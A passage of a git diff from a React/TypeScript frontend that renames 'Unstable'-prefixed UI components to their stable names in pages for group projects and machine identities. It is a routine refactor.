-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton,
-  UnstableTableCell,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
+  TableCell,
+  TableRow
 } from "@app/components/v3";
 import { OrgPermissionGroupActions, OrgPermissionSubjects, useOrganization } from "@app/context";
 import { getProjectBaseURL, getProjectTitle } from "@app/helpers/project";
@@ -45,7 +45,7 @@ export const GroupProjectRow = ({ project, handlePopUpOpen }: Props) => {
   }, [workspaces, project]);
 
   return (
-    <UnstableTableRow
+    <TableRow
       key={`group-project-${project.id}`}
       onClick={() => {
         if (isAccessible) {
@@ -68,18 +68,18 @@ export const GroupProjectRow = ({ project, handlePopUpOpen }: Props) => {
         });
       }}
     >
-      <UnstableTableCell className="max-w-0 truncate">{project.name}</UnstableTableCell>
-      <UnstableTableCell>{getProjectTitle(project.type as ProjectType)}</UnstableTableCell>
-      <UnstableTableCell>{format(new Date(project.joinedGroupAt), "yyyy-MM-dd")}</UnstableTableCell>
-      <UnstableTableCell>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger>
-            <UnstableIconButton variant="ghost" size="xs">
+      <TableCell className="max-w-0 truncate">{project.name}</TableCell>
+      <TableCell>{getProjectTitle(project.type as ProjectType)}</TableCell>
+      <TableCell>{format(new Date(project.joinedGroupAt), "yyyy-MM-dd")}</TableCell>
+      <TableCell>
+        <DropdownMenu>
+          <DropdownMenuTrigger>
+            <IconButton variant="ghost" size="xs">
               <MoreHorizontalIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
-            <UnstableDropdownMenuItem
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuItem
               isDisabled={!isAccessible}
               onClick={(e) => {
                 e.stopPropagation();
@@ -96,10 +96,10 @@ export const GroupProjectRow = ({ project, handlePopUpOpen }: Props) => {
               }}
             >
               Access Project
-            </UnstableDropdownMenuItem>
+            </DropdownMenuItem>
             <OrgPermissionCan I={OrgPermissionGroupActions.Edit} a={OrgPermissionSubjects.Groups}>
               {(isAllowed) => (
-                <UnstableDropdownMenuItem
+                <DropdownMenuItem
                   variant="danger"
                   isDisabled={!isAllowed}
                   onClick={(e) => {
@@ -111,12 +111,12 @@ export const GroupProjectRow = ({ project, handlePopUpOpen }: Props) => {
                   }}
                 >
                   Remove From Project
-                </UnstableDropdownMenuItem>
+                </DropdownMenuItem>
               )}
             </OrgPermissionCan>
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
-      </UnstableTableCell>
-    </UnstableTableRow>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectsSection.tsx b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectsSection.tsx
index 672acd70ed0..b3dca6ade4d 100644
--- a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectsSection.tsx
+++ b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectsSection.tsx
@@ -5,12 +5,12 @@ import { OrgPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal } from "@app/components/v2";
 import {
   Button,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle
 } from "@app/components/v3";
 import { OrgPermissionGroupActions, OrgPermissionSubjects } from "@app/context";
 import { useDeleteGroupFromWorkspace as useRemoveProjectFromGroup } from "@app/hooks/api";
@@ -49,11 +49,11 @@ export const GroupProjectsSection = ({ groupId, groupSlug, hideAddToProject = fa
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>Projects</UnstableCardTitle>
-          <UnstableCardDescription>Manage group project memberships</UnstableCardDescription>
-          <UnstableCardAction>
+      <Card>
+        <CardHeader>
+          <CardTitle>Projects</CardTitle>
+          <CardDescription>Manage group project memberships</CardDescription>
+          <CardAction>
             {!hideAddToProject && (
               <OrgPermissionCan I={OrgPermissionGroupActions.Edit} a={OrgPermissionSubjects.Groups}>
                 {(isAllowed) => (
@@ -74,17 +74,17 @@ export const GroupProjectsSection = ({ groupId, groupSlug, hideAddToProject = fa
                 )}
               </OrgPermissionCan>
             )}
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           <GroupProjectsTable
             groupId={groupId}
             groupSlug={groupSlug}
             handlePopUpOpen={handlePopUpOpen}
             hideAddToProject={hideAddToProject}
           />
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <AddGroupProjectModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
       <DeleteActionModal
         isOpen={popUp.removeProjectFromGroup.isOpen}
diff --git a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectsTable.tsx b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectsTable.tsx
index 68273233f67..d4a5d4dd497 100644
--- a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectsTable.tsx
+++ b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectsTable.tsx
@@ -4,18 +4,18 @@ import { twMerge } from "tailwind-merge";
 import { Lottie } from "@app/components/v2";
 import {
   Button,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableInput,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  Input,
+  Pagination,
+  Table,
+  TableBody,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { useOrganization } from "@app/context";
 import {
@@ -103,17 +103,17 @@ export const GroupProjectsTable = ({
 
   return (
     <>
-      <UnstableInput
+      <Input
         className="mb-4"
         value={search}
         onChange={(e) => setSearch(e.target.value)}
         placeholder="Search projects..."
       />
       {projects.length ? (
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead onClick={toggleOrderDirection} className="w-1/3">
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead onClick={toggleOrderDirection} className="w-1/3">
                 Name
                 <ChevronDownIcon
                   className={twMerge(
@@ -121,13 +121,13 @@ export const GroupProjectsTable = ({
                     "transition-transform"
                   )}
                 />
-              </UnstableTableHead>
-              <UnstableTableHead>Type</UnstableTableHead>
-              <UnstableTableHead>Added On</UnstableTableHead>
-              <UnstableTableHead className="w-5" />
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+              </TableHead>
+              <TableHead>Type</TableHead>
+              <TableHead>Added On</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {projects.map((project) => (
               <GroupProjectRow
                 key={`group-project-${project.id}`}
@@ -135,23 +135,23 @@ export const GroupProjectsTable = ({
                 handlePopUpOpen={handlePopUpOpen}
               />
             ))}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
       ) : (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {debouncedSearch
                 ? "No projects match this search"
                 : "This group is not a member of any projects"}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {debouncedSearch
                 ? "Adjust search filters to view project memberships."
                 : "Add this group to a project."}
-            </UnstableEmptyDescription>
+            </EmptyDescription>
             {!debouncedSearch && !hideAddToProject && (
-              <UnstableEmptyContent>
+              <EmptyContent>
                 <Button
                   variant={isSubOrganization ? "sub-org" : "org"}
                   size="xs"
@@ -165,13 +165,13 @@ export const GroupProjectsTable = ({
                   <PlusIcon />
                   Add to Project
                 </Button>
-              </UnstableEmptyContent>
+              </EmptyContent>
             )}
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+          </EmptyHeader>
+        </Empty>
       )}
       {Boolean(projects.length) && (
-        <UnstablePagination
+        <Pagination
           count={totalCount}
           page={page}
           perPage={perPage}
diff --git a/frontend/src/pages/organization/IdentityDetailsByIDPage/IdentityDetailsByIDPage.tsx b/frontend/src/pages/organization/IdentityDetailsByIDPage/IdentityDetailsByIDPage.tsx
index f440dbc4e20..d1ca36c9b71 100644
--- a/frontend/src/pages/organization/IdentityDetailsByIDPage/IdentityDetailsByIDPage.tsx
+++ b/frontend/src/pages/organization/IdentityDetailsByIDPage/IdentityDetailsByIDPage.tsx
@@ -8,20 +8,20 @@ import { createNotification } from "@app/components/notifications";
 import { OrgPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal, Modal, ModalContent, PageHeader } from "@app/components/v2";
 import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
   Button,
-  OrgIcon,
-  UnstableAlert,
-  UnstableAlertDescription,
-  UnstableAlertTitle,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  OrgIcon
 } from "@app/components/v3";
 import { ROUTE_PATHS } from "@app/const/routes";
 import {
@@ -105,15 +105,15 @@ const Page = () => {
             description={`Configure and manage${isScopeIdentity ? " machine identity and " : " "}${isSubOrganization ? "sub-" : ""}organization access control`}
             title={data.identity.name}
           >
-            <UnstableDropdownMenu>
-              <UnstableDropdownMenuTrigger asChild>
+            <DropdownMenu>
+              <DropdownMenuTrigger asChild>
                 <Button variant="outline">
                   Options
                   <EllipsisIcon />
                 </Button>
-              </UnstableDropdownMenuTrigger>
-              <UnstableDropdownMenuContent align="end">
-                <UnstableDropdownMenuItem
+              </DropdownMenuTrigger>
+              <DropdownMenuContent align="end">
+                <DropdownMenuItem
                   onClick={() => {
                     navigator.clipboard.writeText(data.identity.id);
                     createNotification({
@@ -123,13 +123,13 @@ const Page = () => {
                   }}
                 >
                   Copy Machine Identity ID
-                </UnstableDropdownMenuItem>
+                </DropdownMenuItem>
                 <OrgPermissionCan
                   I={OrgPermissionActions.Delete}
                   a={OrgPermissionSubjects.Identity}
                 >
                   {(isAllowed) => (
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       variant="danger"
                       isDisabled={!isAllowed}
                       onClick={() =>
@@ -140,11 +140,11 @@ const Page = () => {
                       }
                     >
                       {isScopeIdentity ? "Delete Machine Identity" : "Remove From Sub-Organization"}
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   )}
                 </OrgPermissionCan>
-              </UnstableDropdownMenuContent>
-            </UnstableDropdownMenu>
+              </DropdownMenuContent>
+            </DropdownMenu>
           </PageHeader>
           <div className="flex flex-col gap-5 lg:flex-row">
             <IdentityDetailsSection
@@ -154,20 +154,16 @@ const Page = () => {
             />
             <div className="flex flex-1 flex-col gap-y-5">
               {isAuthHidden ? (
-                <UnstableCard>
-                  <UnstableCardHeader>
-                    <UnstableCardTitle>Authentication</UnstableCardTitle>
-                    <UnstableCardDescription>
-                      Configure authentication methods
-                    </UnstableCardDescription>
-                  </UnstableCardHeader>
-                  <UnstableCardContent>
-                    <UnstableAlert variant="org">
+                <Card>
+                  <CardHeader>
+                    <CardTitle>Authentication</CardTitle>
+                    <CardDescription>Configure authentication methods</CardDescription>
+                  </CardHeader>
+                  <CardContent>
+                    <Alert variant="org">
                       <OrgIcon />
-                      <UnstableAlertTitle>
-                        Machine identity managed by organization
-                      </UnstableAlertTitle>
-                      <UnstableAlertDescription>
+                      <AlertTitle>Machine identity managed by organization</AlertTitle>
+                      <AlertDescription>
                         <p>
                           This machine identity&apos;s authentication methods are managed by your{" "}
                           organization
@@ -197,10 +193,10 @@ const Page = () => {
                           </OrgPermissionCan>
                           .
                         </p>
-                      </UnstableAlertDescription>
-                    </UnstableAlert>
-                  </UnstableCardContent>
-                </UnstableCard>
+                      </AlertDescription>
+                    </Alert>
+                  </CardContent>
+                </Card>
               ) : (
                 <IdentityAuthenticationSection
                   identityId={identityId}
diff --git a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityAuthenticationSection/IdentityAuthenticationSection.tsx b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityAuthenticationSection/IdentityAuthenticationSection.tsx
index 0bf9d2a2419..9fdeeffe72a 100644
--- a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityAuthenticationSection/IdentityAuthenticationSection.tsx
+++ b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityAuthenticationSection/IdentityAuthenticationSection.tsx
@@ -3,17 +3,17 @@ import { PlusIcon } from "lucide-react";
 import { OrgPermissionCan } from "@app/components/permissions";
 import {
   Button,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle
 } from "@app/components/v3";
 import { OrgPermissionIdentityActions, OrgPermissionSubjects, useOrganization } from "@app/context";
 import { IdentityAuthMethod, useGetOrgIdentityMembershipById } from "@app/hooks/api";
@@ -37,15 +37,15 @@ export const IdentityAuthenticationSection = ({ identityId, handlePopUpOpen }: P
   const hasAuthMethods = Boolean(data?.identity.authMethods.length);
 
   return data ? (
-    <UnstableCard>
-      <UnstableCardHeader>
-        <UnstableCardTitle>Authentication</UnstableCardTitle>
-        <UnstableCardDescription>Configure authentication methods</UnstableCardDescription>
+    <Card>
+      <CardHeader>
+        <CardTitle>Authentication</CardTitle>
+        <CardDescription>Configure authentication methods</CardDescription>
         {hasAuthMethods &&
           !Object.values(IdentityAuthMethod).every((method) =>
             data.identity.authMethods.includes(method)
           ) && (
-            <UnstableCardAction>
+            <CardAction>
               <OrgPermissionCan
                 I={OrgPermissionIdentityActions.Edit}
                 a={OrgPermissionSubjects.Identity}
@@ -69,10 +69,10 @@ export const IdentityAuthenticationSection = ({ identityId, handlePopUpOpen }: P
                   </Button>
                 )}
               </OrgPermissionCan>
-            </UnstableCardAction>
+            </CardAction>
           )}
-      </UnstableCardHeader>
-      <UnstableCardContent>
+      </CardHeader>
+      <CardContent>
         {data.identity.authMethods.length > 0 ? (
           <ViewIdentityAuth
             activeLockoutAuthMethods={data.identity.activeLockoutAuthMethods}
@@ -81,16 +81,12 @@ export const IdentityAuthenticationSection = ({ identityId, handlePopUpOpen }: P
             onResetAllLockouts={refetch}
           />
         ) : (
-          <UnstableEmpty className="border">
-            <UnstableEmptyHeader>
-              <UnstableEmptyTitle>
-                This machine identity has no auth methods configured
-              </UnstableEmptyTitle>
-              <UnstableEmptyDescription>
-                Add an auth method to use this machine identity
-              </UnstableEmptyDescription>
-            </UnstableEmptyHeader>
-            <UnstableEmptyContent>
+          <Empty className="border">
+            <EmptyHeader>
+              <EmptyTitle>This machine identity has no auth methods configured</EmptyTitle>
+              <EmptyDescription>Add an auth method to use this machine identity</EmptyDescription>
+            </EmptyHeader>
+            <EmptyContent>
               <OrgPermissionCan
                 I={OrgPermissionIdentityActions.Edit}
                 a={OrgPermissionSubjects.Identity}
@@ -113,11 +109,11 @@ export const IdentityAuthenticationSection = ({ identityId, handlePopUpOpen }: P
                   </Button>
                 )}
               </OrgPermissionCan>
-            </UnstableEmptyContent>
-          </UnstableEmpty>
+            </EmptyContent>
+          </Empty>
         )}
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   ) : (
     <div />
   );
diff --git a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityDetailsSection.tsx b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityDetailsSection.tsx
index 40bba8913d6..d812d5d28ce 100644
--- a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityDetailsSection.tsx
+++ b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityDetailsSection.tsx
@@ -5,20 +5,20 @@ import { OrgPermissionCan } from "@app/components/permissions";
 import { Tooltip } from "@app/components/v2";
 import {
   Badge,
+  ButtonGroup,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
   DetailValue,
+  IconButton,
   OrgIcon,
-  SubOrgIcon,
-  UnstableButtonGroup,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton
+  SubOrgIcon
 } from "@app/components/v3";
 import { OrgPermissionIdentityActions, OrgPermissionSubjects, useOrganization } from "@app/context";
 import { useTimedReset } from "@app/hooks";
@@ -47,17 +47,17 @@ export const IdentityDetailsSection = ({
   const { data } = useGetOrgIdentityMembershipById(identityId);
 
   return data ? (
-    <UnstableCard className="w-full lg:max-w-[24rem]">
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Details</UnstableCardTitle>
-        <UnstableCardDescription>Machine identity details</UnstableCardDescription>
-        <UnstableCardAction>
+    <Card className="w-full lg:max-w-[24rem]">
+      <CardHeader className="border-b">
+        <CardTitle>Details</CardTitle>
+        <CardDescription>Machine identity details</CardDescription>
+        <CardAction>
           <OrgPermissionCan
             I={OrgPermissionIdentityActions.Edit}
             a={OrgPermissionSubjects.Identity}
           >
             {(isAllowed) => (
-              <UnstableIconButton
+              <IconButton
                 isDisabled={!isAllowed}
                 onClick={() => {
                   handlePopUpOpen("identity", {
@@ -74,12 +74,12 @@ export const IdentityDetailsSection = ({
                 variant="outline"
               >
                 <PencilIcon />
-              </UnstableIconButton>
+              </IconButton>
             )}
           </OrgPermissionCan>
-        </UnstableCardAction>
-      </UnstableCardHeader>
-      <UnstableCardContent>
+        </CardAction>
+      </CardHeader>
+      <CardContent>
         <DetailGroup>
           <Detail>
             <DetailLabel>Name</DetailLabel>
@@ -90,7 +90,7 @@ export const IdentityDetailsSection = ({
             <DetailValue className="flex items-center gap-x-1">
               {data.identity.id}
               <Tooltip content="Copy machine identity ID to clipboard">
-                <UnstableIconButton
+                <IconButton
                   onClick={() => {
                     navigator.clipboard.writeText(data.identity.id);
                     setCopyTextId("Copied");
@@ -100,7 +100,7 @@ export const IdentityDetailsSection = ({
                 >
                   {/* TODO(scott): color this should be a button variant and create re-usable copy button */}
                   {isCopyingId ? <CheckIcon /> : <ClipboardListIcon className="text-label" />}
-                </UnstableIconButton>
+                </IconButton>
               </Tooltip>
             </DetailValue>
           </Detail>
@@ -129,14 +129,14 @@ export const IdentityDetailsSection = ({
             <DetailValue className="flex flex-wrap gap-2">
               {data?.metadata?.length ? (
                 data.metadata?.map((el) => (
-                  <UnstableButtonGroup className="min-w-0" key={el.id}>
+                  <ButtonGroup className="min-w-0" key={el.id}>
                     <Badge isTruncatable>
                       <span>{el.key}</span>
                     </Badge>
                     <Badge variant="outline" isTruncatable>
                       <span>{el.value}</span>
                     </Badge>
-                  </UnstableButtonGroup>
+                  </ButtonGroup>
                 ))
               ) : (
                 <span className="text-muted">—</span>
@@ -190,8 +190,8 @@ export const IdentityDetailsSection = ({
             </>
           )}
         </DetailGroup>
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   ) : (
     <div />
   );
diff --git a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectRow.tsx b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectRow.tsx
index 649fb36ed8e..06eafb19519 100644
--- a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectRow.tsx
+++ b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectRow.tsx
@@ -5,13 +5,13 @@ import { MoreHorizontalIcon } from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
 import {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton,
-  UnstableTableCell,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
+  TableCell,
+  TableRow
 } from "@app/components/v3";
 import { useOrganization } from "@app/context";
 import { getProjectBaseURL } from "@app/helpers/project";
@@ -54,7 +54,7 @@ export const IdentityProjectRow = ({
   }, [workspaces, project]);
 
   return (
-    <UnstableTableRow
+    <TableRow
       key={`identity-project-membership-${id}`}
       onClick={() => {
         if (isAccessible) {
@@ -77,20 +77,20 @@ export const IdentityProjectRow = ({
         });
       }}
     >
-      <UnstableTableCell className="max-w-0 truncate">{project.name}</UnstableTableCell>
-      <UnstableTableCell>{`${formatProjectRoleName(roles[0].role, roles[0].customRoleName)}${
+      <TableCell className="max-w-0 truncate">{project.name}</TableCell>
+      <TableCell>{`${formatProjectRoleName(roles[0].role, roles[0].customRoleName)}${
         roles.length > 1 ? ` (+${roles.length - 1})` : ""
-      }`}</UnstableTableCell>
-      <UnstableTableCell>{format(new Date(createdAt), "yyyy-MM-dd")}</UnstableTableCell>
-      <UnstableTableCell>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger>
-            <UnstableIconButton variant="ghost" size="xs">
+      }`}</TableCell>
+      <TableCell>{format(new Date(createdAt), "yyyy-MM-dd")}</TableCell>
+      <TableCell>
+        <DropdownMenu>
+          <DropdownMenuTrigger>
+            <IconButton variant="ghost" size="xs">
               <MoreHorizontalIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
-            <UnstableDropdownMenuItem
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuItem
               isDisabled={!isAccessible}
               onClick={(e) => {
                 e.stopPropagation();
@@ -107,8 +107,8 @@ export const IdentityProjectRow = ({
               }}
             >
               Access Project
-            </UnstableDropdownMenuItem>
-            <UnstableDropdownMenuItem
+            </DropdownMenuItem>
+            <DropdownMenuItem
               variant="danger"
               isDisabled={!isAccessible}
               onClick={(e) => {
@@ -122,10 +122,10 @@ export const IdentityProjectRow = ({
               }}
             >
               Remove From Project
-            </UnstableDropdownMenuItem>
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
-      </UnstableTableCell>
-    </UnstableTableRow>
+            </DropdownMenuItem>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectsSection.tsx b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectsSection.tsx
index c1b97c2e953..a6520d39156 100644
--- a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectsSection.tsx
+++ b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectsSection.tsx
@@ -4,12 +4,12 @@ import { createNotification } from "@app/components/notifications";
 import { DeleteActionModal } from "@app/components/v2";
 import {
   Button,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle
 } from "@app/components/v3";
 import {
   useDeleteProjectIdentityMembership,
@@ -50,14 +50,12 @@ export const IdentityProjectsSection = ({ identityId }: Props) => {
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>Projects</UnstableCardTitle>
-          <UnstableCardDescription>
-            Manage machine identity project memberships
-          </UnstableCardDescription>
+      <Card>
+        <CardHeader>
+          <CardTitle>Projects</CardTitle>
+          <CardDescription>Manage machine identity project memberships</CardDescription>
           {Boolean(projectMemberships?.length) && (
-            <UnstableCardAction>
+            <CardAction>
               <Button
                 onClick={() => {
                   handlePopUpOpen("addIdentityToProject");
@@ -68,13 +66,13 @@ export const IdentityProjectsSection = ({ identityId }: Props) => {
                 <PlusIcon />
                 Add to Project
               </Button>
-            </UnstableCardAction>
+            </CardAction>
           )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           <IdentityProjectsTable identityId={identityId} handlePopUpOpen={handlePopUpOpen} />
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <DeleteActionModal
         isOpen={popUp.removeIdentityFromProject.isOpen}
         title={`Are you sure you want to remove ${
diff --git a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectsTable.tsx b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectsTable.tsx
index 16a04e08646..c521acc3aa2 100644
--- a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectsTable.tsx
+++ b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/IdentityProjectsSection/IdentityProjectsTable.tsx
@@ -5,18 +5,18 @@ import { twMerge } from "tailwind-merge";
 import { Lottie } from "@app/components/v2";
 import {
   Button,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableInput,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  Input,
+  Pagination,
+  Table,
+  TableBody,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { useOrganization } from "@app/context";
 import {
@@ -101,17 +101,17 @@ export const IdentityProjectsTable = ({ identityId, handlePopUpOpen }: Props) =>
 
   return (
     <>
-      <UnstableInput
+      <Input
         className="mb-4"
         value={search}
         onChange={(e) => setSearch(e.target.value)}
         placeholder="Search projects..."
       />
       {filteredProjectMemberships.length ? (
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead onClick={toggleOrderDirection} className="w-1/3">
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead onClick={toggleOrderDirection} className="w-1/3">
                 Name
                 <ChevronDownIcon
                   className={twMerge(
@@ -119,14 +119,14 @@ export const IdentityProjectsTable = ({ identityId, handlePopUpOpen }: Props) =>
                     "transition-transform"
                   )}
                 />
-              </UnstableTableHead>
+              </TableHead>
 
-              <UnstableTableHead>Role</UnstableTableHead>
-              <UnstableTableHead>Added On</UnstableTableHead>
-              <UnstableTableHead className="w-5" />
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+              <TableHead>Role</TableHead>
+              <TableHead>Added On</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {!isPending &&
               filteredProjectMemberships.slice(offset, perPage * page).map((membership) => {
                 return (
@@ -137,23 +137,23 @@ export const IdentityProjectsTable = ({ identityId, handlePopUpOpen }: Props) =>
                   />
                 );
               })}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
       ) : (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {projectMemberships.length
                 ? "No projects match this search"
                 : "This machine identity is not a member of any projects"}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {projectMemberships.length
                 ? "Adjust search filters to view project memberships."
                 : "Assign this machine identity to a project."}
-            </UnstableEmptyDescription>
+            </EmptyDescription>
             {!projectMemberships.length && (
-              <UnstableEmptyContent>
+              <EmptyContent>
                 <Button
                   variant={isSubOrganization ? "sub-org" : "org"}
                   size="xs"
@@ -162,13 +162,13 @@ export const IdentityProjectsTable = ({ identityId, handlePopUpOpen }: Props) =>
                   <PlusIcon />
                   Add to Project
                 </Button>
-              </UnstableEmptyContent>
+              </EmptyContent>
             )}
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+          </EmptyHeader>
+        </Empty>
       )}
       {Boolean(filteredProjectMemberships.length) && (
-        <UnstablePagination
+        <Pagination
           count={filteredProjectMemberships.length}
           page={page}
           perPage={perPage}
diff --git a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/ViewIdentityAuth/ViewIdentityAuth.tsx b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/ViewIdentityAuth/ViewIdentityAuth.tsx
